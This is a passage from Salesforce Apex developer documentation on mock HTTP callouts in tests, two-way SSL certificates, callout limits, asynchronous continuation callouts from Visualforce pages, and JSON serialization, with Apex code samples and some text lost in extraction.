multimock.setStaticResource('http://api.salesforce.com/foo/sfdc', 'mockResponse2');
multimock.setStatusCode(200);
multimock.setHeader('Content-Type', 'application/json');

In your test method, call Test.setMock to set the mock callout mode and pass it HttpCalloutMock.class as the first
argument, and the variable name that you created for MultiStaticResourceCalloutMock as the second argument.
Test.setMock(HttpCalloutMock.class, multimock);

After this point, if your test method performs an HTTP callout to one of the endpoints http://api.salesforce.com/foo/bar
or http://api.salesforce.com/foo/sfdc, the callout is not made and the Apex runtime sends the corresponding mock
response you specified in your instance of MultiStaticResourceCalloutMock.
This is a full example containing the test method (testCalloutWithMultipleStaticResources) and the method it is
testing (getInfoFromExternalService) that performs the callout. Before running this example, create a static resource named
mockResponse based on a text file with the content {"hah":"fooled you"} and another named mockResponse2

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based on a text file with the content {"hah":"fooled you twice"}. Save each class separately and run the test in
CalloutMultiStaticClassTest.
public class CalloutMultiStaticClass {
public static HttpResponse getInfoFromExternalService(String endpoint) {
HttpRequest req = new HttpRequest();
req.setEndpoint(endpoint);
req.setMethod('GET');
Http h = new Http();
HttpResponse res = h.send(req);
return res;
}
}
@isTest
private class CalloutMultiStaticClassTest {
@isTest static void testCalloutWithMultipleStaticResources() {
// Use MultiStaticResourceCalloutMock to
// specify fake response for a certain endpoint and
// include response body in a static resource.
MultiStaticResourceCalloutMock multimock = new MultiStaticResourceCalloutMock();
multimock.setStaticResource(
'http://api.salesforce.com/foo/bar', 'mockResponse');
multimock.setStaticResource(
'http://api.salesforce.com/foo/sfdc', 'mockResponse2');
multimock.setStatusCode(200);
multimock.setHeader('Content-Type', 'application/json');
// Set the mock callout mode
Test.setMock(HttpCalloutMock.class, multimock);
// Call the method for the first endpoint
HTTPResponse res = CalloutMultiStaticClass.getInfoFromExternalService(
'http://api.salesforce.com/foo/bar');
// Verify response received
System.assertEquals('{"hah":"fooled you"}', res.getBody());
// Call the method for the second endpoint
HTTPResponse res2 = CalloutMultiStaticClass.getInfoFromExternalService(
'http://api.salesforce.com/foo/sfdc');
// Verify response received
System.assertEquals('{"hah":"fooled you twice"}', res2.getBody());
}
}

Performing DML Operations and Mock Callouts

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Invoking HTTP Callouts

The DML operations support works for all implementations of mock callouts using: the HttpCalloutMock interface and static
resources (StaticResourceCalloutMock or MultiStaticResourceCalloutMock). The following example uses an
implemented HttpCalloutMock interface but you can apply the same technique when using static resources.

Performing DML Before Mock Callouts

This example is based on the HttpCalloutMock example provided earlier. The example shows how to use Test.startTest and
Test.stopTest statements to allow DML operations to be performed in a test method before mock callouts. The test method
(testCallout) first inserts a test account, calls Test.startTest, sets the mock callout mode using Test.setMock, calls a
method that performs the callout, verifies the mock response values, and finally, calls Test.stopTest.
@isTest
private class CalloutClassTest {
@isTest static void testCallout() {
// Perform some DML to insert test data
Account testAcct = new Account('Test Account');
insert testAcct;
// Call Test.startTest before performing callout
// but after setting test data.
Test.startTest();
// Set mock callout class
Test.setMock(HttpCalloutMock.class, new MockHttpResponseGenerator());
// Call method to test.
// This causes a fake response to be sent
// from the class that implements HttpCalloutMock.
HttpResponse res = CalloutClass.getInfoFromExternalService();
// Verify response received contains fake values
String contentType = res.getHeader('Content-Type');
System.assert(contentType == 'application/json');
String actualValue = res.getBody();
String expectedValue = '{"foo":"bar"}';
System.assertEquals(actualValue, expectedValue);
System.assertEquals(200, res.getStatusCode());
Test.stopTest();
}
}

Asynchronous Apex and Mock Callouts

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Enclose the asynchronous call within Test.startTest and Test.stopTest statements.

Test.startTest();
MyClass.asyncCall();
Test.stopTest();
Test.setMock(..); // Takes two arguments
MyClass.mockCallout();

Asynchronous calls that occur after mock callouts are allowed and dont require any changes in test methods.
SEE ALSO:
Test Class

Using Certificates
You can use two-way SSL authentication by sending a certificate generated in Salesforce or signed by a certificate authority (CA) with
your callout. This enhances security as the target of the callout receives the certificate and can use it to authenticate the request against
its keystore.
To enable two-way SSL authentication for a callout:
1. Generate a certificate.
2. Integrate the certificate with your code. See Using Certificates with SOAP Services and Using Certificates with HTTP Requests.
3. If you are connecting to a third-party and you are using a self-signed certificate, share the Salesforce certificate with them so that
they can add the certificate to their keystore. If you are connecting to another application used within your organization, configure
your Web or application server to request a client certificate. This process depends on the type of Web or application server you use.
For an example of how to set up two-way SSL with Apache Tomcat, see
developer.salesforce.com/page/Making_Authenticated_Web_Service_Callouts_Using_Two-Way_SSL.
4. Configure the remote site settings for the callout. Before any Apex callout can call an external site, that site must be registered in
the Remote Site Settings page, or the callout fails.
If the callout specifies a named credential as the endpoint, you dont need to configure remote site settings. To set up named
credentials, see Define a Named Credential in the Salesforce Help.

IN THIS SECTION:
1. Generating Certificates
2. Using Certificates with SOAP Services
3. Using Certificates with HTTP Requests

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Using Certificates

Generating Certificates
You can use a self-signed certificate generated in Salesforce or a certificate signed by a certificate authority (CA). To generate a certificate
for a callout, see Generate a Certificate.
After you successfully save a Salesforce certificate, the certificate and corresponding keys are automatically generated.
After you create a CA-signed certificate, you must upload the signed certificate before you can use it. See Generate a Certificate Signed
By a Certificate Authority in the Salesforce online help.

Using Certificates with SOAP Services

After you have generated a certificate in Salesforce, you can use it to support two-way authentication for a callout to a SOAP Web service.
To integrate the certificate with your Apex:
1. Receive the WSDL for the Web service from the third party or generate it from the application you want to connect to.
2. Generate Apex classes from the WSDL for the Web service. See SOAP Services: Defining a Class from a WSDL Document.
3. The generated Apex classes include a stub for calling the third-party Web service represented by the WSDL document. Edit the Apex
classes, and assign a value to a clientCertName_x variable on an instance of the stub class. The value must match the Unique
Name of the certificate that you generated on the Certificate and Key Management page.
The following example illustrates the last step of the previous procedure and works with the sample WSDL file in Generated WSDL2Apex
Code. This example assumes that you previously generated a certificate with a Unique Name of DocSampleCert.
docSample.DocSamplePort stub = new docSample.DocSamplePort();
stub.clientCertName_x = 'DocSampleCert';
String input = 'This is the input string';
String output = stub.EchoString(input);

There is a legacy process for using a certificate obtained from a third party for your organization. Encode your client certificate key in
base64, and assign it to the clientCert_x variable on the stub. This is inherently less secure than using a Salesforce certificate
because it does not follow security best practices for protecting private keys. When you use a Salesforce certificate, the private key is not
shared outside Salesforce.
Note: Dont use a client certificate that was generated on the Generate Client Certificate page. Use a certificate that was obtained
from a third party for your organization if you use the legacy process.
The following example illustrates the legacy process and works with the sample WSDL file in Generated WSDL2Apex Code on page 458.
docSample.DocSamplePort stub = new docSample.DocSamplePort();
stub.clientCert_x =
'MIIGlgIBAzCCBlAGCSqGSIb3DQEHAaCCBkEEggY9MIIGOTCCAe4GCSqGSIb3DQEHAaCCAd8EggHb'+
'MIIB1zCCAdMGCyqGSIb3DQEMCgECoIIBgjCCAX4wKAYKKoZIhvcNAQwBAzAaBBSaUMlXnxjzpfdu'+
'6YFwZgJFMklDWFyvCnQeuZpN2E+Rb4rf9MkJ6FsmPDA9MCEwCQYFKw4DAhoFAAQU4ZKBfaXcN45w'+
'9hYm215CcA4n4d0EFJL8jr68wwKwFsVckbjyBz/zYHO6AgIEAA==';
// Password for the keystore
stub.clientCertPasswd_x = 'passwd';
String input = 'This is the input string';
String output = stub.EchoString(input);

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Using Certificates with HTTP Requests

After you have generated a certificate in Salesforce, you can use it to support two-way authentication for a callout to an HTTP request.
To integrate the certificate with your Apex:
1. Generate a certificate. Note the Unique Name of the certificate.
2. In your Apex, use the setClientCertificateName method of the HttpRequest class. The value used for the argument
for this method must match the Unique Name of the certificate that you generated in the previous step.
The following example illustrates the last step of the previous procedure. This example assumes that you previously generated a certificate
with a Unique Name of DocSampleCert.
HttpRequest req = new HttpRequest();
req.setClientCertificateName('DocSampleCert');

Callout Limits and Limitations

The following limits and limitations apply when Apex code makes a callout to an HTTP request or a web services call. The web services
call can be a SOAP API call or any external web services call.
A single Apex transaction can make a maximum of 100 callouts to an HTTP request or an API call.
The default timeout is 10 seconds. A custom timeout can be defined for each callout. The minimum is 1 millisecond and the maximum
is 120,000 milliseconds. See the examples in the next section for how to set custom timeouts for Web services or HTTP callouts.
The maximum cumulative timeout for callouts by a single Apex transaction is 120 seconds. This time is additive across all callouts
invoked by the Apex transaction.
You cant make a callout when there are pending operations in the same transaction. Things that result in pending operations are
DML statements, asynchronous Apex (such as future methods and batch Apex jobs), scheduled Apex, or sending email. You can
make callouts before performing these types of operations.
Pending operations can occur before mock callouts in the same transaction. See Performing DML Operations and Mock Callouts for
WSDL-based callouts or Performing DML Operations and Mock Callouts for HTTP callouts.
When the header Expect: 100-Continue is added to a callout request, a timeout occurs if a HTTP/1.1 100 Continue
response isnt returned by the external server.

Setting Callout Timeouts

The following example sets a custom timeout for Web services callouts. The example works with the sample WSDL file and the generated
DocSamplePort class described in Generated WSDL2Apex Code on page 458. Set the timeout value in milliseconds by assigning a
value to the special timeout_x variable on the stub.
docSample.DocSamplePort stub = new docSample.DocSamplePort();
stub.timeout_x = 2000; // timeout in milliseconds

return null;
}
}

Note:
You can make up to three asynchronous callouts in a single continuation. Add these callout requests to the same continuation
by using the addHttpRequest method of the Continuation class. The callouts run in parallel for this continuation
and suspend the Visualforce request. Only after all callouts are returned by the external service for does the Visualforce process
resume.
Asynchronous callouts are supported only through a Visualforce page. Making an asynchronous callout by invoking the action
method outside a Visualforce page, such as in the Developer Console, isnt supported.
Asynchronous callouts are available for Apex controllers and Visualforce pages saved in version 30.0 and later. If JavaScript
remoting is used, version 31.0 or later is required.

IN THIS SECTION:
Process for Using Asynchronous Callouts
To use asynchronous callouts, create a Continuation object in an action method of a controller, and implement a callback
method.
Testing Asynchronous Callouts
Write tests to test your controller and meet code coverage requirements for deploying or packaging Apex. Because Apex tests dont
support making callouts, you can simulate callout requests and responses. When youre simulating a callout, the request doesnt
get sent to the external service, and a mock response is used.
Asynchronous Callout Limits
When a continuation is executing, the continuation-specific limits apply. When the continuation returns and the request resumes,
a new Apex transaction starts. All Apex and Visualforce limits apply and are reset in the new transaction, including the Apex callout
limits.
Making Multiple Asynchronous Callouts
To make multiple callouts to a long-running service simultaneously from a Visualforce page, you can add up to three requests to
the Continuation instance. An example of when to make simultaneous callouts is when youre making independent requests to a
service, such as getting inventory statistics for two products.
Chaining Asynchronous Callouts
If the order of the callouts matters, or when a callout is conditional on the response of another callout, you can chain callout requests.
Chaining callouts means that the next callout is made only after the response of the previous callout returns. For example, you might
need to chain a callout to get warranty extension information after the warranty service response indicates that the warranty expired.
You can chain up to three callouts.
Making an Asynchronous Callout from an Imported WSDL
In addition to HttpRequest-based callouts, asynchronous callouts are supported in Web service calls that are made from
WSDL-generated classes. The process of making asynchronous callouts from a WSDL-generated class is similar to the process for
using the HttpRequest class.
SEE ALSO:
Named Credentials as Callout Endpoints

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Process for Using Asynchronous Callouts

To use asynchronous callouts, create a Continuation object in an action method of a controller, and implement a callback method.

Invoking an Asynchronous Callout in an Action Method

To invoke an asynchronous callout, call the external service by using a Continuation instance in your Visualforce action method.
When you create a continuation, you can specify a timeout value and the name of the callback method. For example, the following
creates a continuation with a 60-second timeout and a callback method name of processResponse.
Continuation cont = new Continuation(60);
cont.continuationMethod = 'processResponse';

Next, associate the Continuation object to an external callout. To do so, create the HTTP request, and then add this request to the
continuation as follows:
String requestLabel = cont.addHttpRequest(request);

Note: This process is based on making callouts with the HttpRequest class. For an example that uses a WSDL-based class, see
Making an Asynchronous Callout from an Imported WSDL.
The method that invokes the callout (the action method) must return the Continuation object to instruct Visualforce to suspend
the current request after the system sends the callout and waits for the callout response. The Continuation object holds the details
of the callout to be executed.
This is the signature of the method that invokes the callout. The Object return type represents a Continuation.
public Object calloutActionMethodName()

Defining a Callback Method

The response is returned after the external service finishes processing the callout. You can specify a callback method for asynchronous
execution after the callout returns. This callback method must be defined in the controller class where the callout invocation method is
defined. You can define a callback method to process the returned response, such as retrieving the response for display on a Visualforce
page.
The callback method doesnt take any arguments and has this signature.
public Object callbackMethodName()

The Object return type represents a Continuation, a PageReference, or null. To render the original Visualforce page and
finish the Visualforce request, return null in the callback method.
If the action method uses JavaScript remoting (is annotated with @RemoteAction ), the callback method must be static and has
the following supported signatures.
public static Object callbackMethodName(List< String> labels, Object state)

Or:
public static Object callbackMethodName(Object state)

The labels parameter is supplied by the system when it invokes the callback method and holds the labels associated with the callout
requests made. The state parameter is supplied by setting the Continuation.state property in the controller.
This table lists the return values for the callback method. Each return value corresponds to a different behavior.

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Table 4: Possible Return Values for the Callback Method

Callback Method Return Value

Request Lifecycle and Outcome

null

The system finishes the Visualforce page request and renders the
original Visualforce page (or a portion of it).

PageReference

The system finishes the Visualforce page request and redirects to

a new Visualforce page.
(Use query parameters in the PageReference to pass the
results of the Continuation to the new page.)

Continuation

The system suspends the Visualforce request again and waits for
the response of a new callout. Return a new Continuation
in the callback method to chain asynchronous callouts.

Note: If the continuationMethod property isnt set for a continuation, the same action method that made the callout is
called again when the callout response returns.
SEE ALSO:
Continuation Class

Testing Asynchronous Callouts

Write tests to test your controller and meet code coverage requirements for deploying or packaging Apex. Because Apex tests dont
support making callouts, you can simulate callout requests and responses. When youre simulating a callout, the request doesnt get
sent to the external service, and a mock response is used.
The following example shows how to invoke a mock asynchronous callout in a test for a Web service call that uses HTTPRequest.
To simulate callouts in continuations, call these methods of the Test class: setContinuationResponse(requestLabel, mockResponse)
and invokeContinuationMethod(controller, request).
The controller class to test is listed first, followed by the test class. The controller class from Make Long-Running Callouts from a Visualforce
Page is reused here.
public with sharing class ContinuationController {
// Unique label corresponding to the continuation request
public String requestLabel;
// Result of callout
public String result {get;set;}
// Endpoint of long-running service
private static final String LONG_RUNNING_SERVICE_URL =
'<Insert your service URL>';
// Action method
public Object startRequest() {
// Create continuation with a timeout
Continuation con = new Continuation(40);
// Set callback method
con.continuationMethod='processResponse';
// Create callout request

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HttpRequest req = new HttpRequest();

req.setMethod('GET');
req.setEndpoint(LONG_RUNNING_SERVICE_URL);
// Add callout request to continuation
this.requestLabel = con.addHttpRequest(req);
// Return the continuation
return con;
}
// Callback method
public Object processResponse() {
// Get the response by using the unique label
HttpResponse response = Continuation.getResponse(this.requestLabel);
// Set the result variable that is displayed on the Visualforce page
this.result = response.getBody();
// Return null to re-render the original Visualforce page
return null;
}
}

This example shows the test class corresponding to the controller. This test class contains a test method for testing an asynchronous
callout. In the test method, Test.setContinuationResponse sets a mock response, and
Test.invokeContinuationMethod causes the callback method for the continuation to be executed. The test ensures that
the callback method processed the mock response by verifying that the controllers result variable is set to the expected response.
@isTest
public class ContinuationTestingForHttpRequest {
public static testmethod void testWebService() {
ContinuationController controller = new ContinuationController();
// Invoke the continuation by calling the action method
Continuation conti = (Continuation)controller.startRequest();
// Verify that the continuation has the proper requests
Map<String, HttpRequest> requests = conti.getRequests();
system.assert(requests.size() == 1);
system.assert(requests.get(controller.requestLabel) != null);
// Perform mock callout
// (i.e. skip the callout and call the callback method)
HttpResponse response = new HttpResponse();
response.setBody('Mock response body');
// Set the fake response for the continuation
Test.setContinuationResponse(controller.requestLabel, response);
// Invoke callback method
Object result = Test.invokeContinuationMethod(controller, conti);
// result is the return value of the callback
System.assertEquals(null, result);
// Verify that the controller's result variable
//
is set to the mock response.
System.assertEquals('Mock response body', controller.result);

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}
}

Asynchronous Callout Limits

When a continuation is executing, the continuation-specific limits apply. When the continuation returns and the request resumes, a
new Apex transaction starts. All Apex and Visualforce limits apply and are reset in the new transaction, including the Apex callout limits.

Continuation-Specific Limits
The following are Apex and Visualforce limits that are specific to a continuation.
Description

Limit

Maximum number of parallel Apex callouts in a single continuation

Maximum number of chained Apex callouts

Maximum timeout for a single continuation1

120 seconds

Maximum Visualforce controller-state size2

80 KB

Maximum HTTP response size

1 MB

Maximum HTTP POST form sizethe size of all keys and values in the form3

1 MB

Maximum number of keys in the HTTP POST form3

500

The timeout that is specified in the autogenerated Web service stub and in the HttpRequest objects is ignored. Only this timeout limit
is enforced for a continuation.
2

When the continuation is executed, the Visualforce controller is serialized. When the continuation is completed, the controller is
deserialized and the callback is invoked. Use the Apex transient modifier to designate a variable that is not to be serialized. The
framework uses only serialized members when it resumes. The controller-state size limit is separate from the view state limit. See
Differences between Continuation Controller State and Visualforce View State.
3

This limit is for HTTP POST forms with the following content type headers:

content-type='application/x-www-form-urlencoded' and content-type='multipart/form-data'

Differences between Continuation Controller State and Visualforce View State

Controller state and view state are distinct. Controller state for a continuation consists of the serialization of all controllers that are involved
in the request, not only the controller that invokes the continuation. The serialized controllers include controller extensions, and custom
and internal component controllers. The controller state size is logged in the debug log as a USER_DEBUG event.
View state holds more data than the controller state and has a higher maximum size (135 KB). The view state contains state and component
structure. State is serialization of all controllers and all the attributes of each component on a page, including subpages and subcomponents
. Component structure is the parent-child relationship of components that are in the page. You can monitor the view state size in the
Developer Console or in the footer of a Visualforce page when development mode is enabled. For more information, see View State
Tab in the Salesforce Help or refer to the Visualforce Developers Guide.

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return con;
}
// Callback method for initial request
public Object processInitialResponse() {
// Get the response by using the unique label
HttpResponse response = Continuation.getResponse(this.requestLabel1);
// Set the result variable that is displayed on the Visualforce page
this.result1 = response.getBody();
Continuation chainedContinuation = null;
// Chain continuation if some condition is met
if (response.getBody().toLowerCase().contains('expired')) {
// Create a second continuation
chainedContinuation = new Continuation(60);
// Set callback method
chainedContinuation.continuationMethod='processChainedResponse';
// Create callout request
HttpRequest req = new HttpRequest();
req.setMethod('GET');
req.setEndpoint(LONG_RUNNING_SERVICE_URL2);
// Add callout request to continuation
this.requestLabel2 = chainedContinuation.addHttpRequest(req);
}
// Start another continuation
return chainedContinuation;
}
// Callback method for chained request
public Object processChainedResponse() {
// Get the response for the chained request
HttpResponse response = Continuation.getResponse(this.requestLabel2);
// Set the result variable that is displayed on the Visualforce page
this.result2 = response.getBody();
// Return null to re-render the original Visualforce page
return null;
}
}

Note: The response of a continuation must be retrieved before you create a new continuation and before the Visualforce request
is suspended again. You cant retrieve an old response from an earlier continuation in the chain of continuations.

Making an Asynchronous Callout from an Imported WSDL

In addition to HttpRequest-based callouts, asynchronous callouts are supported in Web service calls that are made from
WSDL-generated classes. The process of making asynchronous callouts from a WSDL-generated class is similar to the process for using
the HttpRequest class.
When you import a WSDL in Salesforce, Salesforce autogenerates two Apex classes for each namespace in the imported WSDL. One
class is the service class for the synchronous service, and the other is a modified version for the asynchronous service. The autogenerated

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asynchronous class name starts with the Async prefix and has the format AsyncServiceName. ServiceName is the name of
the original unmodified service class. The asynchronous class differs from the standard class in the following ways.
The public service methods contain an additional Continuation parameter as the first parameter.
The Web service operations are invoked asynchronously and their responses are obtained with the getValue method of the
response element.
The WebServiceCallout.beginInvoke and WebServiceCallout.endInvoke are used to invoke the service
and get the response respectively.
You can generate Apex classes from a WSDL in the Salesforce user interface. From Setup, enter Apex Classes in the Quick Find
box, then select Apex Classes.
To make asynchronous Web service callouts, call the methods on the autogenerated asynchronous class by passing your Continuation
instance to these methods. The following example is based on a hypothetical stock-quote service. This example assumes that the
organization has a class, called AsyncSOAPStockQuoteService, that was autogenerated via a WSDL import. The example shows
how to make an asynchronous callout to the service by using the autogenerated AsyncSOAPStockQuoteService class. First,
this example creates a continuation with a 60-second timeout and sets the callback method. Next, the code example invokes the
beginStockQuote method by passing it the Continuation instance. The beginStockQuote method call corresponds to an
asynchronous callout execution.
public Continuation startRequest() {
Integer TIMEOUT_INT_SECS = 60;
Continuation cont = new Continuation(TIMEOUT_INT_SECS);
cont.continuationMethod = 'processResponse';
AsyncSOAPStockQuoteService.AsyncStockQuoteServiceSoap
stockQuoteService =
new AsyncSOAPStockQuoteService.AsyncStockQuoteServiceSoap();
stockQuoteFuture = stockQuoteService.beginStockQuote(cont,'CRM');
return cont;
}

When the external service returns the response of the asynchronous callout (the beginStockQuote method), this callback method
is executed. It gets the response by calling the getValue method on the response object.
public Object processResponse() {
result = stockQuoteFuture.getValue();
return null;
}

The following is the entire controller with the action and callback methods.
public class ContinuationSOAPController {
AsyncSOAPStockQuoteService.GetStockQuoteResponse_elementFuture
stockQuoteFuture;
public String result {get;set;}
// Action method
public Continuation startRequest() {
Integer TIMEOUT_INT_SECS = 60;
Continuation cont = new Continuation(TIMEOUT_INT_SECS);
cont.continuationMethod = 'processResponse';

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AsyncSOAPStockQuoteService.AsyncStockQuoteServiceSoap
stockQuoteService =
new AsyncSOAPStockQuoteService.AsyncStockQuoteServiceSoap();
stockQuoteFuture = stockQuoteService.beginGetStockQuote(cont,'CRM');
return cont;
}
// Callback method
public Object processResponse() {
result = stockQuoteFuture.getValue();
// Return null to re-render the original Visualforce page
return null;
}
}

This example shows the corresponding Visualforce page that invokes the startRequest method and displays the result field.
<apex:page controller="ContinuationSOAPController" showChat="false" showHeader="false">
<apex:form >

<apex:commandButton action="{!startRequest}"
value="Start Request" reRender="result"/>
</apex:form>

<apex:outputText value="{!result}" />
</apex:page>

Testing WSDL-Based Asynchronous Callouts

Testing asynchronous callouts that are based on Apex classes from a WSDL is similar to the process thats used with callouts that are
based on the HttpRequest class. Before you test ContinuationSOAPController.cls, create a class that implements
WebServiceMock. This class enables safe testing for ContinuationTestForWSDL.cls, which we'll create in a moment,
by enabling a mock continuation and making sure that the test has no real effect.
public class AsyncSOAPStockQuoteServiceMockImpl implements WebServiceMock {
public void doInvoke(
Object stub,
Object request,
Map<String, Object> response,
String endpoint,
String soapAction,
String requestName,
String responseNS,
String responseName,
String responseType) {
// do nothing
}
}

This example is the test class that corresponds to the ContinuationSOAPController controller. The test method in the class
sets a fake response and invokes a mock continuation. The callout isnt sent to the external service. To perform a mock callout, the test

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calls these methods of the Test class: setContinuationResponse(requestLabel, mockResponse) and invokeContinuationMethod(controller,
request).
@isTest
public class ContinuationTestingForWSDL {
public static testmethod void testWebService() {
ContinuationSOAPController demoWSDLClass =
new ContinuationSOAPController();
// Invoke the continuation by calling the action method
Continuation conti = demoWSDLClass.startRequest();
// Verify that the continuation has the proper requests
Map<String, HttpRequest> requests = conti.getRequests();
System.assertEquals(requests.size(), 1);
// Perform mock callout
// (i.e. skip the callout and call the callback method)
HttpResponse response = new HttpResponse();
response.setBody('<SOAP:Envelope'
+ ' xmlns:SOAP="http://schemas.xmlsoap.org/soap/envelope/">'
+ '<SOAP:Body>'
+ '<m:getStockQuoteResponse '
+ 'xmlns:m="http://soap.sforce.com/schemas/class/StockQuoteServiceSoap">'
+ '<m:result>Mock response body</m:result>'
+ '</m:getStockQuoteResponse>'
+ '</SOAP:Body>'
+ '</SOAP:Envelope>');
// Set the fake response for the continuation
String requestLabel = requests.keyset().iterator().next();
Test.setContinuationResponse(requestLabel, response);
// Invoke callback method
Object result = Test.invokeContinuationMethod(demoWSDLClass, conti);
System.debug(demoWSDLClass);
// result is the return value of the callback
System.assertEquals(null, result);
// Verify that the controller's result variable
//
is set to the mock response.
System.assertEquals('Mock response body', demoWSDLClass.result);
}
}

JSON Support
JavaScript Object Notation (JSON) support in Apex enables the serialization of Apex objects into JSON format and the deserialization of
serialized JSON content.

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JSON Support

Apex provides a set of classes that expose methods for JSON serialization and deserialization. The following table describes the classes
available.
Class

Description

System.JSON

Contains methods for serializing Apex objects into JSON format

and deserializing JSON content that was serialized using the
serialize method in this class.

System.JSONGenerator

Contains methods used to serialize objects into JSON content using

the standard JSON encoding.

System.JSONParser

Represents a parser for JSON-encoded content.

The System.JSONToken enumeration contains the tokens used for JSON parsing.
Methods in these classes throw a JSONException if an issue is encountered during execution.
JSON Support Considerations
JSON serialization and deserialization support is available for sObjects (standard objects and custom objects), Apex primitive
and collection types, return types of Database methods (such as SaveResult, DeleteResult, and so on), and instances of your Apex
classes.
Only custom objects, which are sObject types, of managed packages can be serialized from code that is external to the
managed package. Objects that are instances of Apex classes defined in the managed package can't be serialized.
A Map object is serializable into JSON only if it uses one of the following data types as a key.
Boolean
Date
DateTime
Decimal
Double
Enum
Id
Integer
Long
String
Time
When an object is declared as the parent type but is set to an instance of the subtype, some data may be lost. The object gets
serialized and deserialized as the parent type and any fields that are specific to the subtype are lost.
An object that has a reference to itself wont get serialized and causes a JSONException to be thrown.
Reference graphs that reference the same object twice are deserialized and cause multiple copies of the referenced object to
be generated.
The System.JSONParser data type isnt serializable. If you have a serializable class, such as a Visualforce controller, that
has a member variable of type System.JSONParser and you attempt to create this object, youll receive an exception. To
use JSONParser in a serializable class, use a local variable instead in your method.

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Roundtrip Serialization and Deserialization

IN THIS SECTION:
Roundtrip Serialization and Deserialization
Use the JSON class methods to perform roundtrip serialization and deserialization of your JSON content. These methods enable
you to serialize objects into JSON-formatted strings and to deserialize JSON strings back into objects.
JSON Generator
Using the JSONGenerator class methods, you can generate standard JSON-encoded content.
JSON Parsing
Use the JSONParser class methods to parse JSON-encoded content. These methods enable you to parse a JSON-formatted
response that's returned from a call to an external service, such as a web service callout.

Roundtrip Serialization and Deserialization

Use the JSON class methods to perform roundtrip serialization and deserialization of your JSON content. These methods enable you
to serialize objects into JSON-formatted strings and to deserialize JSON strings back into objects.

Example: Serialize and Deserialize a List of Invoices

This example creates a list of InvoiceStatement objects and serializes the list. Next, the serialized JSON string is used to deserialize
the list again and the sample verifies that the new list contains the same invoices that were present in the original list.
public class JSONRoundTripSample {
public class InvoiceStatement {
Long invoiceNumber;
Datetime statementDate;
Decimal totalPrice;
public InvoiceStatement(Long i, Datetime dt, Decimal price)
{
invoiceNumber = i;
statementDate = dt;
totalPrice = price;
}
}
public static void SerializeRoundtrip() {
Datetime dt = Datetime.now();
// Create a few invoices.
InvoiceStatement inv1 = new InvoiceStatement(1,Datetime.valueOf(dt),1000);
InvoiceStatement inv2 = new InvoiceStatement(2,Datetime.valueOf(dt),500);
// Add the invoices to a list.
List<InvoiceStatement> invoices = new List<InvoiceStatement>();
invoices.add(inv1);
invoices.add(inv2);
// Serialize the list of InvoiceStatement objects.
String JSONString = JSON.serialize(invoices);
System.debug('Serialized list of invoices into JSON format: ' + JSONString);
// Deserialize the list of invoices from the JSON string.
List<InvoiceStatement> deserializedInvoices =

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(List<InvoiceStatement>)JSON.deserialize(JSONString, List<InvoiceStatement>.class);
System.assertEquals(invoices.size(), deserializedInvoices.size());
Integer i=0;
for (InvoiceStatement deserializedInvoice :deserializedInvoices) {
system.debug('Deserialized:' + deserializedInvoice.invoiceNumber + ','
+ deserializedInvoice.statementDate.formatGmt('MM/dd/yyyy HH:mm:ss.SSS')
+ ', ' + deserializedInvoice.totalPrice);
system.debug('Original:' + invoices[i].invoiceNumber + ','
+ invoices[i].statementDate.formatGmt('MM/dd/yyyy HH:mm:ss.SSS')
+ ', ' + invoices[i].totalPrice);
i++;
}
}
}

JSON Serialization Considerations

The behavior of the serialize method differs depending on the Salesforce API version of the Apex code saved.
Serialization of queried sObject with additional fields set
For Apex saved using Salesforce API version 27.0 and earlier, if queried sObjects have additional fields set, these fields arent included
in the serialized JSON string returned by the serialize method. Starting with Apex saved using Salesforce API version 28.0, the
additional fields are included in the serialized JSON string.
This example adds a field to a contact after it has been queried, and then serializes the contact. The assertion statement verifies that
the JSON string contains the additional field. The assertion passes for Apex saved using Salesforce API version 28.0 and later.
Contact con = [SELECT Id, LastName, AccountId FROM Contact LIMIT 1];
// Set additional field
con.FirstName = 'Joe';
String jsonstring = Json.serialize(con);
System.debug(jsonstring);
System.assert(jsonstring.contains('Joe') == true);

Serialization of aggregate query result fields

For Apex saved using Salesforce API version 27.0, results of aggregate queries dont include the fields in the SELECT statement when
serialized using the serialize method. For earlier API versions or for API version 28.0 and later, serialized aggregate query results
include all fields in the SELECT statement.
This aggregate query returns two fields: the count of ID fields and the account name.
String jsonString = JSON.serialize(
Database.query('SELECT Count(Id),Account.Name FROM Contact WHERE Account.Name !=
null GROUP BY Account.Name LIMIT 1'));
System.debug(jsonString);
// Expected output in API v 26 and earlier or v28 and later
// [{"attributes":{"type":"AggregateResult"},"expr0":2,"Name":"acct1"}]

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JSON Generator

Serialization of empty fields

Starting with API version 28.0, null fields arent serialized and arent included in the JSON string, unlike in earlier versions. This change
doesnt affect deserializing JSON strings with JSON methods, such as deserialize(jsonString, apexType). This change is noticeable
when you inspect the JSON string. For example:
String jsonString = JSON.serialize(
[SELECT Id, Name, Website FROM Account WHERE Website = null LIMIT 1]);
System.debug(jsonString);
// In v27.0 and earlier, the string includes the null field and looks like the following.
// {"attributes":{...},"Id":"001D000000Jsm0WIAR","Name":"Acme","Website":null}
// In v28.0 and later, the string doesnt include the null field and looks like
// the following.
// {"attributes":{...},"Name":"Acme","Id":"001D000000Jsm0WIAR"}}

Serialization of IDs
In API version 34.0 and earlier, ID comparison using == fails for IDs that have been through roundtrip JSON serialization and
deserialization.
SEE ALSO:
JSON Class

JSON Generator
Using the JSONGenerator class methods, you can generate standard JSON-encoded content.
You can construct JSON content, element by element, using the standard JSON encoding. To do so, use the methods in the
JSONGenerator class.

JSONGenerator Sample
This example generates a JSON string in pretty print format by using the methods of the JSONGenerator class. The example first
adds a number field and a string field, and then adds a field to contain an object field of a list of integers, which gets deserialized properly.
Next, it adds the A object into the Object A field, which also gets deserialized.
public class JSONGeneratorSample{
public class A {
String str;
public A(String s) { str = s; }
}
static void generateJSONContent() {
// Create a JSONGenerator object.
// Pass true to the constructor for pretty print formatting.
JSONGenerator gen = JSON.createGenerator(true);
// Create a list of integers to write to the JSON string.
List<integer> intlist = new List<integer>();
intlist.add(1);

XML Support

public Invoice(Double price, DateTime dt, Long invNumber, List<LineItem> liList) {

totalPrice = price;
statementDate = dt;
invoiceNumber = invNumber;
lineItems = liList.clone();
}
}
public class LineItem {
public Double unitPrice;
public Double quantity;
public String productName;
}

Reading and Writing XML Using Streams

Apex provides classes for reading and writing XML content using streams.
